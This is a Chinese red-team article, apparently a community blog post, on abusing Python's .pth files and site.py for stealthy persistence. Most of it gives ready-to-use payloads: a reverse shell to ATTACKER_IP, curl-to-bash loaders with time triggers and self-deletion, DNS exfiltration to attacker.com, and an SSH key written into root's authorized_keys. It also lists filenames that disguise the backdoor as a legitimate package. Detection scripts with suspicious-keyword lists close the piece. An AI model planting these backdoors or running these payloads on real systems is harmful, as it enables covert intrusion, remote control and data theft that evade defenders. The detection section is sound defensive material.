在攻防对抗的实践中,红队通常以获取初始shell为起点进行内网渗透,而蓝队则依赖设备监控与人工值守,全天候防御。在这种博弈中,攻击被发现后,能否有效应对蓝队的排查与溯源,维持已获取的权限至关重要——尤其对于不能轻易关停的核心生产系统。传统的持久化手段已广为人知且难以长期隐藏。因此,本文将探讨一种相对冷门的手法:利用Python官方的.pth文件进行权限维持。这种后门并非利用漏洞,而是基于Python本身的设计特性,目前仍存在于主流Python版本中,且被官方视为合理机制。它的优势在于:执行时无额外进程或端口,不篡改文件,易于伪装文件名以规避查杀,并且只要Python进程启动便会自动触发,极难被常规溯源手段定位。
核心原理
.pth持久化后门依赖于Python解释器启动时自动加载内置site模块的机制。site模块会扫描site-packages目录下的.pth文件,并执行其中以import开头的代码行,从而实现隐蔽的代码执行与权限持久化。

其优势在于滥用合法机制,无新增进程和端口,可跨平台伪装,尤其适用于运行Flask、Django等Python Web应用的服务器。攻击者只需获得对site-packages目录的写入权限(或root权限)即可植入。此机制影响Python 3.5及更高版本。
.pth后门可能被触发的场景包括:
PM2、Supervisor、systemd管理的Flask、Django等Python Web服务重启
pip install、pip list、pip freeze等pip命令执行
cron定时任务执行Python脚本
管理员手动运行python3 xxx.py
服务器重启后systemd自动拉起Python服务。
路径配置文件(.pth)
.pth是Python专用的路径配置文件,用于扩展Python的模块搜索路径(sys.path),是其标准化的配置方式。在Python解释器启动时,内置的site模块会自动扫描site-packages目录下的.pth文件,无需手动配置环境变量或修改代码,即可将自定义模块目录加入全局搜索路径,实现模块的“全局调用”。.pth文件的存储路径分为全局和用户级,以Windows为例:
- 全局(所有用户):
python -c "import site; print(site.getsitepackages())"
示例输出:['D:\\python38', 'D:\\python38\\lib\\site-packages']
- 仅当前用户:
python -m site --user-site
示例输出:C:\Users\Administrator\AppData\Roaming\Python\Python38\site-packages
一个正常的.pth文件内容如下(以PyWin32为例):
# .pth file for the PyWin32 extensions
win32
win32\lib
Pythonwin
# And some hackery to deal with environments where the post_install script
# isn't run.
import pywin32_bootstrap
而一个可能被滥用的内容如下:
import os; os.system("calc.exe")
site 模块
site模块是Python自带的标准模块,在Python启动时(如打开交互式终端、运行.py脚本)会自动加载。它主要负责初始化模块搜索路径(sys.path)和执行启动时的准备工作。官方文档可以访问 https://docs.python.org/zh-cn/3.14/library/site.html 。

根据官方文档,site模块处理.pth文件的流程十分直接。无论是全局的site-packages目录还是用户级的user-site目录下的.pth文件,它都会逐行扫描并处理,规则如下:
- 以
#开头的行,视为注释,跳过。
- 空行,跳过。
- 以
import开头的行,直接执行该行代码(相当于在Python中运行了该行命令)。
- 其他内容,则被视为路径,添加到Python的模块搜索列表(
sys.path)中。
需要强调的是,这种设计并非安全漏洞,而是官方有意为之的功能——从源码注释即可看出,只要是import开头的行,在Python启动时便会自动执行,且每次启动都会无条件触发,只要.pth文件存在。
Lib/site.py中addpackage()函数的相关源码摘录如下:
def addpackage(sitedir, name, known_paths):
"""处理 site-packages 目录中的 .pth 文件:
对于文件中的每一行,要么将其与 sitedir 组合成路径并添加到 known_paths,
要么如果该行以 'import ' 开头则执行它。
"""
.....
for n, line in enumerate(pth_content.splitlines(), 1):
if line.startswith("#"):
continue
if line.strip() == "":
continue
try:
if line.startswith(("import ", "import\t")): ## 重点是这个
exec(line)
continue
line = line.rstrip()
dir, dircase = makepath(sitedir, line)
if dircase not in known_paths and os.path.exists(dir):
sys.path.append(dir)
known_paths.add(dircase)
.....
实战演示
Windows 系统弹出计算器
-
首先本地验证该机制。查找可用于存放.pth文件的site-packages目录:
python -c "import site; print(site.getsitepackages())"
-
假设找到目录D:\python38\lib\site-packages,我们构造命令写入一个执行弹出计算器的.pth文件:
echo import os; os.system("calc.exe") > D:\python38\lib\site-packages\setuptools-compat.pth
文件生成后如下图所示:

-
之后,执行任何Python命令(即使是最简单的python -c "print('hello')"),都会触发计算器弹出:

-
执行pip命令同样会触发,因为pip本身就是一个Python脚本:

-
清除后门文件:
del D:\python38\lib\site-packages\setuptools-compat.pth
Linux 系统反弹 shell
思路相同,先确定路径,然后替换命令中的IP地址(注意不要使用过于显眼的名称如red-team或qaxnb)。
python3 -c "import site; print(site.getsitepackages())"
# 输出示例: ['/usr/lib/python3/dist-packages', '/usr/lib/python3.12/dist-packages']
echo 'import os; os.system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\" &")' > /usr/lib/python3/dist-packages/distutils-compat.pth
其他触发场景与伪装
- 条件触发:例如只在凌晨2-4点执行,白天保持静默。
import os, time; exec("h=time.localtime().tm_hour\nif 2<=h<=4: os.system('curl http://ATTACKER/beacon.sh|bash &')")
- 单次触发 + 自删除:适合用于下载后续高级载荷。
import os; exec("p='/usr/lib/python3/dist-packages/distutils-compat.pth'\nos.system('curl http://ATTACKER/payload.sh|bash &')\nos.remove(p)")
- DNS外带数据:通过DNS查询外带数据,绕过出站流量监控。
import os; os.system("nslookup $(whoami).$(hostname).attacker.com &")
- 写入SSH公钥:无需反弹shell,直接写入公钥,后续通过加密的SSH连接登录,流量与管理员的正常登录无异。
import os; exec("d='/root/.ssh'\nos.makedirs(d,exist_ok=True)\nf=open(d+'/authorized_keys','a')\nf.write('\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@pwn\\n')\nf.close()\nos.chmod(d+'/authorized_keys',0o600)")
- 伪装文件名参考:好的伪装名应看起来像合法的Python包配置文件。
distutils-precedence.pth ← 真实存在的文件名
setuptools-compat.pth ← 看起来像 setuptools 的兼容层
pip-system-certs.pth ← 看起来像证书配置
_virtualenv.pth ← 看起来像 virtualenv 的配置
certifi-system-store.pth ← 看起来像证书存储配置
检测与防护
Linux 脚本扫描
# 扫描所有 site-packages 中包含可疑关键词的 .pth 文件
find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | while read f; do
if grep -qiE "(os\.system|subprocess|os\.popen|socket|exec\(|eval\(|urllib|requests\.|curl|wget|bash|/bin/sh|reverse|/dev/tcp)" "$f"; then
echo "[!] 可疑: $f"
cat "$f"
echo "---"
fi
done
Windows 脚本扫描(PowerShell)
Get-ChildItem -Path C:\ -Recurse -Filter "*.pth" -ErrorAction SilentlyContinue |
Where-Object { $_.FullName -like "*site-packages*" } |
ForEach-Object {
$content = Get-Content $_.FullName -Raw
if ($content -match "os\.system|subprocess|os\.popen|socket|exec\(|eval\(|calc|cmd|powershell") {
Write-Host "[!] 可疑: $($_.FullName)" -ForegroundColor Red
Write-Host $content
Write-Host "---"
}
}
思考总结
在攻防对抗中,.pth文件后门是一种被低估的权限维持手段。它不依赖于软件漏洞,而是巧妙利用了Python官方site.py模块的设计——在Python启动时无条件执行.pth文件中以import开头的代码。这一过程属于Python正常的初始化行为,几乎不留异常痕迹,加之主流HIDS/EDR很少扫描site-packages目录下的.pth文件,使其隐蔽性极高。
对于红队而言,它提供了无多余进程、无额外端口的优质潜伏方案。对于蓝队,则必须将site-packages目录下的.pth文件纳入日常审计和安全监控的范围,否则极易在服务器上遗留难以发现的“隐形”后门代码,这些代码会随着每次Python进程的启动而悄然执行,构成持续的安全威胁。
参考文献
希望本文的分析能帮助开发者和安全从业者更好地理解这一机制背后的风险与防御之道。对运维及安全技术感兴趣的朋友,可以持续关注云栈社区的相关技术分享。